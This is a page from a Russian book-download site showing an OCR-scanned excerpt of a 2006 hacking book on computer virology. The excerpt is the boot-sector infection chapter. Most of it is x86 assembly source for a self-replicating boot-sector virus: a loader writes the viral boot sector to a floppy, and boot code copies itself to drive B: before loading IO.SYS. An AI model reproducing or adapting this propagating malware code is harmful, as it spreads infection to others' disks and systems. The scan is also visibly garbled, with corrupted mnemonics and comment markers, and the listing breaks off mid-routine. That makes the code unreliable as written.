Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 62 63 64 65 66 67 < 68 > 69 70 71 72 73 74 .. 123 >> Следующая

в оба дисковода вставлены дискеты.
Это сегмент, откуда загружается и выполняется первый файл операционной
системы (IO.SYS).
DOSJLOAD SEGMENT AT 0070H ASSUME CS:DOSJLOAD ORGO
LOAD: ;старт первой программы операционной системы DOS.LOAD ENDS MAIN
SEGMENT BYTE
ASSUME CS:MAIN,DS:MAIN,SS:NOTHING
ГЛАВА 6. Инфицирование загрузочного сектора
Это загрузчик для загрузочного сектора. Он пишет загрузочный сектор в
диск А: в правильное место, затем устанавливает основные параметры диска.
Загрузчик начинает выполняться, когда эта программа выполняется из DOS
как СОМ-файле.
ORG 100Н LOADER:
mov ах,201Н [загружаем существующий загрузочный сектор
mov bx,OFFSET DISK_BUF ;в этот буфер
mov сх, 1 [диск 0, трек 0, головка 0, сектор 1
mov dx,0
int 13Н
mov ax,201H [пробуем дважды, чтобы компенсировать
[ошибки обмена диска
int 13Н
mov si .OFFSET DISK_BUF + 11 mov di,OFFSET BOOTSEC + 11 mov cx,19
rep movsb [перемещаем данные диска в новый [загрузочный сектор
mov ах,301Н [записываем новый загрузочный сектор на диск
mov bx,OFFSET BOOTSEC
mov cx,1
mov dx,0
int 13H
mov ax,4C0OH [выход в DOS int 21H
Эта область резервируется для загрузки загрузочного сектора с диска,
который будет модифицирован загрузчиком, как и первый сектор корневой
директории, когда проверяется наличие системных файлов и загружается
первый системный файл. Локация является фиксированной, потому что эта
область свободна во время выполнения загрузочного сектора.
9"1
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
ORG 0500Н DISK_BUR DB ? [начало буфера
Здесь начало кода загрузочного сектора. Этот кусок мы вынимаем из
компилированного COM-файла и вставляем его в первый сектор дискеты.
ORG 7С00Н
BOOTSEC: JMP SHORT BOOT [прыжок к началу загрузочного кода NOP ; всегда
оставляем здесь 3 байта
DOSJD: DB 'Kilroy В' ;имя загрузочного сектора (8 байтов)
SEC_SIZE: DW 200Н [размер сектора (в байтах)
SECS_PER_CLUST: DB 2 [число секторов в кластере FAT_START: DW 1 [стартуем
сектор 1-ой FAT
FAT_COUNT: DB 2 [число FAT на диске
ROOT_ENTRlES: DW 70Н [число записей корневой директории SEC.COUNT: DW
2D0H [полное число секторов на диске DISKJD: DB 0FDH ;код типа диска
SECS_PER_FAT: DW 2 [число секторов на FAT SECS_PER_TRK: DW 9 [количество
секторов на трек HEADS: DW 2 [число головок на диске
HIDDEN_SECS: DW 0 [количество скрытых секторов на диске
Здесь исполнительный код начала загрузочного сектора. BOOT:
CU [прерывания отключены XOR АХ,АХ [готовимся к установке сегментов
MOV ES.AX [устанавливаем DS=ES=SS=0 MOV DS.AX
MOV SS.AX [стартуем стек @ 0000:7000
9R9
ГЛАВА 6. Инфицирование загрузочного сектора
MOV SP,OFFSET BOOTSEC
STI ; включаем прерывания
Перед тем как получить системный файл, вирус пытается копировать себя в
диск В:.
INFECT:
mov ах,201Н ;пытаемся читать
mov bx.OFFSET DISK_BUF ;загрузочный сектор В:
mov сх, 1
mov dx, 1
int 13Н
mov ax,201H ;делаем это дважды
int 13Н ;на случай изменения диска
jc LOOK_SYS ;нет диска, просто загружаем DOS mov si,OFFSET BOOTSEC
;строим вирус в DISK_BUF mov di,OFFSET DISK_BUF mov cx, 11
cld ;флаг направления вперед rep movsb ;1-ые 11 байтов add si, 19
пропустить данные (например, add di,19 сохраненные оригинальные данные)
mov сх,OFFSET BOOTJD - OFFSET BOOT ;байты код а для переноса rep movsb
inc сх устанавливаем сх=1
mov ах,301Н ;и пишем вирус
int 13Н ;вдискВ:
Здесь мы осматриваем первый файл на диске и проверяем, является ли он
первым системным файлом MS-DOS (IO.SYS).
LOOK_SYS:
Ов<3
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
MOV AL.BYTE PTR [FAT_COUNT] [получаем число FAT на диск XOR АН, АН
MUL WORD PTR [SECS_PER_FAT] [умножаем на число секторов ;на FAT
ADD AX.WORD PTR [HIDDEN_SECS] [добавляем скрытые секторы ADD AX.WORD PTR
[FAT_START] [добавляем стартовый сектор PUSH AX [начало корневой
директории в ах MOV ВР.АХ [сохраняем значение здесь
MOV АХ.20Н [размер директорной записи
MUL WORD PTR [ROOTJENTRIES] [размер директории в ах
MOV BX.WORD PTR [SEC_SIZE] [размер сектора
ADD АХ.ВХ [добавляем один сектор
DEC АХ [декрементируем на 1
DIV BX ;ах=# секторов в корневой директории
ADD ВР.АХ ;Ьр = начало данных
MOV BX,OFFSET DISK_BUF [диска, но в 0000:0500
POP АХ ;ах = начало корневой директории
CALL CONVERT [получаем сектор bios
INT 13Н [читаем 1-й корневой сектор
JC $
MOV DI.BX [сравниваем 1 -й файл с требуемым MOV СХ,11 [именем файла
первого
MOV SI,OFFSET SYSF!LE_1 [системного файла REPZ CMPSB ; для MS-DOS
JZ LOAD_SYSTEM ;тот же, производим загрузку
MOV DI.BX [сравниваем первый файл с требуемым
MOV СХ.11 [именем файла первого
MOV SI, OFFSET SYSFILE_2 [системного файла
9R4
ГЛАВА 6. Инфицирование загрузочного сектора
REPZ CMPSB ;для PC/DR-DOS JNZ $ ;не тот же - система повисла
ОК, системный файл здесь, поэтому загружаем его: LOAD_SYSTEM:
MOV АХ,WORD PTR [DISK_BUF+1CH] .получаем размер файла ; IO.SYS
XOR DX.DX
OIV WORD PTR [SEC_SIZE] ;делим на размер сектора
INC АХ ;ах=секторы для чтения
CMP АХ.39Н ;не загружать слишком много!
JLE LOAD1 ;(< 7С00Н-700Н)
Предыдущая << 1 .. 62 63 64 65 66 67 < 68 > 69 70 71 72 73 74 .. 123 >> Следующая